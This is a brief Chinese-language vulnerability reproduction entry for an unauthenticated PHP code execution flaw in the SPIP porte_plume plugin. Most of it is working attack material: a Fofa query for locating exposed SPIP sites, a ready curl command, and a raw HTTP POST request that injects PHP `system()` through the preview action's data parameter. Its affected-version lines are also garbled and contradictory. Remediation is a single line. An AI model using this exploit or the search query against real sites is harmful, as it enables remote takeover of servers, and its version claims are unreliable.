0x01 漏洞描述:
SPIP 4.30-alpha2、4.2.13、4.1.16之前的版本使用的porte_plume插件存在任意代码执行漏洞,远程未经身份验证的攻击者可以通过发送精心设计的HTTP 请求以SPIP用户身份执行任意PHP代码。
0x02 影响版本:
SPIP 4.30-alpha2 < 4.2.13
SPIP 4.30-alpha2 < 4.1.16
0x03 搜索语句:
Fofa:icon_hash=="-1224668706"
0x04 漏洞复现:
exp如下:
curl -sSkiL 'https://your-ip/index.php?action=porte_plume_previsu' -X POST -d 'data=AA_[<img111111>->URL`<?php system("id");?>`]_BB'
构造请求如下:
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
data=AA_[<img2>->URL`<?php system("id");?>`]_BB
0x05 修复建议:
关闭互联网暴露面或接口设置访问权限